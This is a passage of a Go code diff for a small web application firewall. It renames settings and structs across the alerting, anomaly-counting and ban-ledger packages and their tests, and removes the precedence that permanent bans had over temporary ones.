Dropped: d.dropped.Load(),
Sent: d.sent.Load(), Failed: d.failed.Load(), Dropped: d.dropped.Load(),
}
}
}
@@ -610,13 +606,13 @@ func (q *Queue) endHour(now time.Time) {
if heldBack > 0 {
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
"past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
}
if repeats > 0 {
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
"SWWAF_ALERT_COOLDOWN that no later alert gives", repeats))
}
if len(reasons) > 0 {
@@ -679,7 +675,7 @@ func (d *destination) run(ctx context.Context) {
retryAt = time.Time{}
case errors.Is(err, errRefused):
d.remove(alert)
d.sendFailures.Add(1)
d.failed.Add(1)
d.dropped.Add(1)
retryDelay = 0
@@ -687,8 +683,8 @@ func (d *destination) run(ctx context.Context) {
d.processLog.Warn("gave up an alert "+d.setting+" refused",
"event", alert.Event, "error", err.Error())
case ctx.Err() == nil: // not cut off as sww stops
d.sendFailures.Add(1)
case ctx.Err() == nil: // not cut off as smallwebwaf stops
d.failed.Add(1)
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
maxRetryDelay)
@@ -875,7 +871,7 @@ func ntfyPriority(event string) string {
return "high"
case EventReputationHit:
return "low"
default: // ban, core_rule_set_match and summary
default: // ban, waf_block and summary
return "default"
}
}
@@ -886,7 +882,7 @@ func ntfyTag(event string) string {
switch event {
case EventBan, EventPermanentBan:
return "no_entry"
case EventCoreRuleSetMatch:
case EventWAFBlock:
return "shield"
case EventAnomaly:
return "chart_with_upwards_trend"
+30 -30
View File
@@ -34,12 +34,12 @@ const (
// webhookURL is where the alerts are posted, slackURL the Slack
// incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy
// token of the tests that set one.
webhookURL = "https://alerts.example/sww?team=ops"
webhookURL = "https://alerts.example/smallwebwaf?team=ops"
slackURL = "https://hooks.slack.example/services/T0123/B4567/abcdef"
ntfyURL = "https://ntfy.example/sww-alerts"
ntfyURL = "https://ntfy.example/smallwebwaf-alerts"
ntfyToken = "tk_0123456789abcdefghijklmnopq"
// instance is the instance name every alert gives.
instance = "fsn1app1/blog"
instance = "fsn1app1/gitea"
// started is when each test starts, as an alert gives it, and
// anHourOn an hour later.
started = "2000-01-01T00:00:00Z"
@@ -132,7 +132,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
t.Error("a ban alert would be sent, though SWWAF_ALERT_EVENTS leaves it out")
}
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -184,8 +184,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
onlyNtfy.NtfyURL = parseURL(ntfyURL)
for setting, params := range map[string]alerts.Params{
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
"SWW_ALERT_NTFY_URL": onlyNtfy,
"SWWAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
"SWWAF_ALERT_NTFY_URL": onlyNtfy,
} {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf("a ban alert would not be sent with only %s set", setting)
@@ -359,7 +359,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"as_name": "",
"country": "",
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
"past the 2 an hour SWWAF_ALERT_MAX_PER_HOUR allows",
"detail": map[string]any{
"hour": started,
"count": float64(3),
@@ -525,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
wantCounts(t, q, 0, int64(len(want)), 0, 0)
if !strings.Contains(log.String(),
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) {
t.Errorf("process log %q names no failure", log.String())
}
@@ -595,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
wantCounts(t, q, 1, 3, 0, 1)
if !strings.Contains(log.String(),
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
`"msg":"gave up an alert SWWAF_ALERT_WEBHOOK_URL refused"`) {
t.Errorf("process log %q names no alert given up", log.String())
}
})
@@ -619,7 +619,7 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
logged := log.String()
if !strings.Contains(logged,
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) ||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
t.Errorf("process log %q names no failure, or names the URL", logged)
}
@@ -782,8 +782,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
}
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
"past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
"by SWWAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
@@ -897,11 +897,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
synctest.Wait()
wantDestinationCounts(t, q, alerts.DestinationSlack,
alerts.Counts{Sent: 3, SendFailures: 1})
alerts.Counts{Sent: 3, Failed: 1})
logged := log.String()
if !strings.Contains(logged,
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWWAF_ALERT_SLACK_WEBHOOK_URL failed"`) ||
strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") {
t.Errorf("process log %q names no failure, or names the URL", logged)
@@ -934,7 +934,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
for destination, want := range map[string]alerts.Counts{
alerts.DestinationWebhook: {Sent: all},
alerts.DestinationSlack: {Dropped: 1},
alerts.DestinationNtfy: {SendFailures: all, Dropped: all},
alerts.DestinationNtfy: {Failed: all, Dropped: all},
} {
wantDestinationCounts(t, q, destination, want)
}
@@ -965,8 +965,8 @@ func TestEachDestinationIsSentOnlyTheAlertsWaitingForIt(t *testing.T) {
synctest.Wait()
wantBodies(t, standIns[alerts.DestinationSlack],
`{"text":"*fsn1app1/blog: file_error*\nsecond"}`,
`{"text":"*fsn1app1/blog: file_error*\nthird"}`)
`{"text":"*fsn1app1/gitea: file_error*\nsecond"}`,
`{"text":"*fsn1app1/gitea: file_error*\nthird"}`)
wantBodies(t, standIns[alerts.DestinationNtfy], "fourth")
// alerts.json then lists Slack and ntfy alone, with no alert waiting.
@@ -1223,12 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
// requests to it that it counts as failed, the alerts it counts as held
// back, and those it counts as dropped for the webhook.
func wantCounts(
t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
t *testing.T, q *alerts.Queue, sent, failed, suppressed, dropped int64,
) {
t.Helper()
wantDestinationCounts(t, q, alerts.DestinationWebhook,
alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
alerts.Counts{Sent: sent, Failed: failed, Dropped: dropped})
if q.Suppressed() != suppressed {
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1254,7 +1254,7 @@ type eventMessage struct {
title, priorityAndTag, text string
}
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
// anAlertForEachEvent returns an alert for each event SWWAF_ALERT_EVENTS
// names, the first in observe mode, each with its message.
func anAlertForEachEvent() []eventMessage {
return []eventMessage{
@@ -1265,7 +1265,7 @@ func anAlertForEachEvent() []eventMessage {
Reason: "requests per hour over the limit of 10000",
Detail: map[string]any{"mode": "observe"},
},
"fsn1app1/blog: ban", "default no_entry",
"fsn1app1/gitea: ban", "default no_entry",
"requests per hour over the limit of 10000\nclient: 203.0.113.9\n" +
"netblock: 203.0.113.0/24\ncountry: DE\nmode: observe",
},
@@ -1275,18 +1275,18 @@ func anAlertForEachEvent() []eventMessage {
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
Reason: "matched the rule env-file",
},
"fsn1app1/blog: permanent_ban", "high no_entry",
"fsn1app1/gitea: permanent_ban", "high no_entry",
"matched the rule env-file\nclient: 198.51.100.7\n" +
"netblock: 198.51.100.7/32\ncountry: FR",
},
{
alerts.Alert{
Event: alerts.EventCoreRuleSetMatch, Client: netip.MustParseAddr("192.0.2.1"),
Event: alerts.EventWAFBlock, Client: netip.MustParseAddr("192.0.2.1"),
Netblock: netip.MustParsePrefix("192.0.2.1/32"),
Reason: "refused by the Core Rule Set",
Host: "app.example",
},
"fsn1app1/blog: core_rule_set_match", "default shield",
"fsn1app1/gitea: waf_block", "default shield",
"refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" +
"netblock: 192.0.2.1/32",
},
@@ -1295,7 +1295,7 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventAnomaly, Netblock: netip.MustParsePrefix("192.0.2.0/24"),
Reason: "requests per minute over the threshold of 5000",
},
"fsn1app1/blog: anomaly", "high chart_with_upwards_trend",
"fsn1app1/gitea: anomaly", "high chart_with_upwards_trend",
"requests per minute over the threshold of 5000\nnetblock: 192.0.2.0/24",
},
{
@@ -1304,7 +1304,7 @@ func anAlertForEachEvent() []eventMessage {
Netblock: netip.MustParsePrefix("192.0.2.2/32"),
Reason: "listed by a DNS blocklist",
},
"fsn1app1/blog: reputation_hit", "low label",
"fsn1app1/gitea: reputation_hit", "low label",
"listed by a DNS blocklist\nclient: 192.0.2.2\nnetblock: 192.0.2.2/32",
},
{
@@ -1312,7 +1312,7 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventSourceFailure, Reason: "asking GeoJS failed",
Detail: map[string]any{"source": "geojs"},
},
"fsn1app1/blog: source_failure", "high warning",
"fsn1app1/gitea: source_failure", "high warning",
"asking GeoJS failed\nsource: geojs",
},
{
@@ -1320,12 +1320,12 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventFileError,
Reason: "a rule file has an error, and the rules stay as they were",
Detail: map[string]any{
"file": "/etc/sww/rules.d/50-app.rules", "error": "line 2: no action",
"file": "/etc/smallwebwaf/rules.d/50-app.rules", "error": "line 2: no action",
},
},
"fsn1app1/blog: file_error", "high warning",
"fsn1app1/gitea: file_error", "high warning",
"a rule file has an error, and the rules stay as they were\n" +
"file: /etc/sww/rules.d/50-app.rules\nerror: line 2: no action",
"file: /etc/smallwebwaf/rules.d/50-app.rules\nerror: line 2: no action",
},
}
}
+16 -16
View File
@@ -28,22 +28,22 @@ const maxCounters = 20000
// alerts name them.
const (
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWW_IPV6_GROUP_PREFIX.
// SWWAF_IPV6_GROUP_PREFIX.
ScopeClient = "client"
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
// or SWW_ANOMALY_NET_V6_PREFIX long.
// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
// or SWWAF_ANOMALY_NET_V6_PREFIX long.
ScopeNet = "net"
// ScopeASN is an AS number.
ScopeASN = "asn"
// ScopeTotal is the whole service.
ScopeTotal = "total"
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
ScopeWatchedNet = "watched_net"
// ScopeWatch is a named netblock of SWWAF_WATCH_NETS.
ScopeWatch = "watch"
)
// Scopes returns every scope.
func Scopes() []string {
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatch}
}
// The windows a counter counts in, as the alerts name them.
@@ -62,7 +62,7 @@ type Thresholds struct {
BytesPerHour int64
}
// NamedNetblock is a netblock SWW_WATCH_NETS names.
// NamedNetblock is a netblock SWWAF_WATCH_NETS names.
type NamedNetblock struct {
Name string
Netblock netip.Prefix
@@ -70,14 +70,14 @@ type NamedNetblock struct {
// Params are what New needs.
type Params struct {
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
// SWW_WATCH_*.
// The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*,
// SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and
// SWWAF_WATCH_*.
Client, Net, ASN, Total, Watch Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
// client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWW_WATCH_NETS.
// NamedNetblocks are SWWAF_WATCH_NETS.
NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts.
Alerts *alerts.Queue
@@ -107,13 +107,13 @@ type Request struct {
Host string
// Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of
// SWW_IPV6_GROUP_PREFIX its address is in.
// SWWAF_IPV6_GROUP_PREFIX its address is in.
Client netip.Addr
ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when
// unknown.
ASN, ASName, Country string
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
// Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them.
Bytes int64
}
@@ -257,7 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) {
all = append(all, scope{
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
key{scope: ScopeWatch, netblock: named.Netblock, name: named.Name}, p.Watch,
})
}
}
@@ -391,7 +391,7 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
detail["asn"] = k.asn
case ScopeTotal:
counted = "the whole service"
default: // watched_net
default: // watch
counted = "the named netblock " + k.name + ", " + k.netblock.String()
detail["name"] = k.name
}
+18 -63
View File
@@ -13,7 +13,7 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
ledger.Load([]bans.Ban{{Netblock: netblock, Start: midnight()}})
if got := ledger.Bans(netblock)[0].Cause; got != bans.CauseAdmin {
@@ -24,16 +24,16 @@ func TestBanWithoutACauseIsAnAdmins(t *testing.T) {
func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
t.Parallel()
params := defaultParams()
params.MaxBans = 1
ledger := bans.New(params)
rules := defaultRules()
rules.MaxBans = 1
ledger := bans.New(rules)
adminsOnly := netip.MustParsePrefix("198.51.100.0/24")
both := netip.MustParsePrefix("203.0.113.1/32")
second := netip.MustParsePrefix("203.0.113.2/32")
third := netip.MustParsePrefix("203.0.113.3/32")
// Seen longest ago, a netblock with two of an admin's bans alone, and
// then one with an admin's ban before a ban sww made: the one
// then one with an admin's ban before a ban smallwebwaf made: the one
// ban counted toward MaxBans.
ledger.Load([]bans.Ban{
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
@@ -48,7 +48,7 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
// A new ban drops the ban sww made, and only that one.
// A new ban drops the ban smallwebwaf made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
@@ -64,9 +64,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
t.Parallel()
params := defaultParams()
params.MaxBans = 2
ledger := bans.New(params)
rules := defaultRules()
rules.MaxBans = 2
ledger := bans.New(rules)
netblock := netip.MustParsePrefix("203.0.113.1/32")
other := netip.MustParsePrefix("203.0.113.2/32")
@@ -93,7 +93,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.1/32")
// The netblock breaks a limit twice, the second time after its first
@@ -114,10 +114,10 @@ func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
}
}
func TestReasonOfTheBansSwwMakes(t *testing.T) {
func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
@@ -150,7 +150,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
Lifted: midnight().Add(10 * time.Minute),
}
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
ledger.Load([]bans.Ban{lifted})
// While it would still last, it refuses nothing, and a limit broken
@@ -181,7 +181,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
// A permanent ban for a clear sign of attack, lifted.
netblock := netip.MustParsePrefix("203.0.113.9/32")
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
ledger.Load([]bans.Ban{{
Netblock: netblock,
Start: midnight(),
@@ -211,7 +211,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
bans.Notes{})
atStart := bans.Ban{
@@ -226,7 +226,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Fatalf("%d bans made by an admin after the start's, want none", got)
}
// The admin keeps the ban sww made, keeps the one read at the
// The admin keeps the ban smallwebwaf made, keeps the one read at the
// start, and adds one without a cause: that one alone is made.
kept := made
kept.Cause = bans.CauseAdmin
@@ -246,7 +246,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
// An hour's ban for a broken limit.
ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -292,7 +292,7 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wide := netip.MustParsePrefix("203.0.113.0/24")
other := netip.MustParsePrefix("203.0.113.10/32")
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
ledger.Load([]bans.Ban{
// Ended an hour ago.
{
@@ -341,48 +341,3 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wantChanged(t, ledger, false)
}
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
t.Parallel()
client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
"for good")
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
}
func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
t.Parallel()
netblock := netip.MustParsePrefix("203.0.113.0/24")
ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
"for an hour")
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
}
// wantPermanentBan checks that Find and Check return a permanent ban for
// client at now.
func wantPermanentBan(
t *testing.T, ledger *bans.Ledger, client netip.Addr, now time.Time,
) {
t.Helper()
for name, look := range map[string]func(netip.Addr, time.Time) (bans.Ban, bool, bool){
"Find": ledger.Find,
"Check": ledger.Check,
} {
ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() {
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
}
}
}
+28 -50
View File
@@ -1,4 +1,4 @@
// Package bans is the ban ledger: the bans sww makes on the
// Package bans is the ban ledger: the bans smallwebwaf makes on the
// netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
@@ -21,14 +21,14 @@ import (
// The causes of bans.
const (
// CauseLimit is a ban sww made for a broken limit.
// CauseLimit is a ban smallwebwaf made for a broken limit.
CauseLimit = "limit"
// CauseAttack is a ban sww made for a clear sign of attack.
// CauseAttack is a ban smallwebwaf made for a clear sign of attack.
CauseAttack = "attack"
// CauseAdmin is a ban an admin made, or one sww made that an
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
// admin keeps. It is never dropped.
CauseAdmin = "admin"
// CauseCrowdSec is a ban sww made for a client the CrowdSec
// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec"
)
@@ -40,8 +40,8 @@ const repeatFactor = 3
// maxTextBytes is how much of each text in a ban's notes is kept.
const maxTextBytes = 256
// Params are how long a ban lasts, and how many bans are held.
type Params struct {
// Rules are how long a ban lasts, and how many bans are held.
type Rules struct {
// LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's
@@ -70,7 +70,7 @@ type Ban struct {
Expires time.Time
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
Cause string
// Reason is a short text: for a ban sww made, the limit broken,
// Reason is a short text: for a ban smallwebwaf made, the limit broken,
// the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote.
Reason string
@@ -123,7 +123,7 @@ type Notes struct {
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWW_TRAP_PATHS, that path as the
// one for a request for a path in SWWAF_TRAP_PATHS, that path as the
// client sent it.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
@@ -180,7 +180,7 @@ type Request struct {
// Ledger holds the bans. It is safe for concurrent use.
type Ledger struct {
params Params
rules Rules
// changed receives a value when a ban is made, unless one is waiting
// already.
changed chan struct{}
@@ -190,7 +190,7 @@ type Ledger struct {
// Find make each netblock they find the most recently seen.
netblocks *simplelru.LRU[netip.Prefix, *[]Ban]
// held is how many bans netblocks holds whose cause is not CauseAdmin,
// at most params.MaxBans.
// at most rules.MaxBans.
held int
// made is how many bans have been made since the start, by cause: by
// the ledger, and by an admin, through BanForAdmin or in an edit of
@@ -199,13 +199,13 @@ type Ledger struct {
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
// netblocks that have been banned. Check looks for a ban at each of
// them, so that a ban read from bans.json refuses every client in its
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
// netblock even when it was made with another SWWAF_BAN_SCOPE_V4_PREFIX,
// or another length of an IPv6 client's netblock.
v4Lengths, v6Lengths []int
}
// New returns a Ledger with no ban yet.
func New(params Params) *Ledger {
func New(rules Rules) *Ledger {
// The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen.
@@ -215,7 +215,7 @@ func New(params Params) *Ledger {
}
return &Ledger{
params: params,
rules: rules,
changed: make(chan struct{}, 1),
netblocks: netblocks,
made: map[string]int{},
@@ -274,27 +274,16 @@ func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool, bool) {
// activeBan returns the ban in bans, a netblock's bans oldest first, that
// is active at now, or nil when none is. If several are, it returns the
// newest permanent one, or the newest when none is permanent. Every ban is
// looked at, since a ban an admin adds to bans.json can start before the
// netblock's others and outlast them.
// one that started last. Every ban is looked at, since a ban an admin adds
// to bans.json can start before the netblock's others and outlast them.
func activeBan(bans []Ban, now time.Time) *Ban {
var newest *Ban
for i := len(bans) - 1; i >= 0; i-- {
if !bans[i].ActiveAt(now) {
continue
}
if bans[i].Permanent() {
if bans[i].ActiveAt(now) {
return &bans[i]
}
if newest == nil {
newest = &bans[i]
}
}
return newest
return nil
}
// BanForLimit bans netblock at now for a broken limit, with notes, and
@@ -592,7 +581,7 @@ func (l *Ledger) Load(bans []Ban) {
}
// LoadEdit is Load for an admin's edit of bans.json, taken in while
// sww runs. Each ban in it whose cause is CauseAdmin, and which
// smallwebwaf runs. Each ban in it whose cause is CauseAdmin, and which
// the ledger did not hold, with the same netblock and start, is one the
// admin made, and is counted among the bans made.
func (l *Ledger) LoadEdit(bans []Ban) {
@@ -754,16 +743,13 @@ func (l *Ledger) markChanged() {
}
// active returns the ban active at now on a netblock client is in, or
// nil. If several netblocks have one, it returns a permanent ban when
// there is one.
// nil.
func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
lengths := l.v6Lengths
if client.Is4() {
lengths = l.v4Lengths
}
var first *Ban
for _, length := range lengths {
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
if !found {
@@ -771,20 +757,12 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
}
ban := activeBan(*bans, now)
if ban == nil {
continue
}
if ban.Permanent() {
if ban != nil {
return ban
}
if first == nil {
first = ban
}
}
return first
return nil
}
// covering returns the bans of each netblock held that client is in,
@@ -812,7 +790,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
// unless ban's cause is CauseAdmin, which does not count toward MaxBans.
func (l *Ledger) add(ban Ban) {
counted := ban.Cause != CauseAdmin
if counted && l.held == l.params.MaxBans {
if counted && l.held == l.rules.MaxBans {
l.dropOne()
}
@@ -847,7 +825,7 @@ func (l *Ledger) add(ban Ban) {
// new ban longer. A ban an admin adds to bans.json can start after
// another and end before it, so that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.params.LimitBanDuration
length := l.rules.LimitBanDuration
var last *Ban
@@ -858,18 +836,18 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
}
}
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
if last != nil && now.Sub(last.Expires) <= l.rules.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow.
if lastLength > l.params.MaxBanDuration/repeatFactor {
if lastLength > l.rules.MaxBanDuration/repeatFactor {
return time.Time{}
}
length = repeatFactor * lastLength
}
if length > l.params.MaxBanDuration {
if length > l.rules.MaxBanDuration {
return time.Time{}
}
@@ -887,7 +865,7 @@ func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time {
}
}
return now.Add(l.params.AttackBanDuration)
return now.Add(l.rules.AttackBanDuration)
}
// dropOne drops the earliest ban whose cause is not CauseAdmin of the
+27 -27
View File
@@ -15,7 +15,7 @@ const day = 24 * time.Hour
func TestRepeatsTripleUntilPermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
@@ -62,7 +62,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
@@ -80,9 +80,9 @@ func TestRepeatWindowRunsOut(t *testing.T) {
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
t.Parallel()
params := defaultParams()
params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params)
rules := defaultRules()
rules.LimitBanDuration = rules.MaxBanDuration + time.Hour
ledger := bans.New(rules)
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
bans.Notes{})
@@ -97,9 +97,9 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
// hours, is within the maximum, and three times as long would not fit
// in a time.Duration. The 15th is permanent.
params := defaultParams()
params.MaxBanDuration = 100000 * day
ledger := bans.New(params)
rules := defaultRules()
rules.MaxBanDuration = 100000 * day
ledger := bans.New(rules)
netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
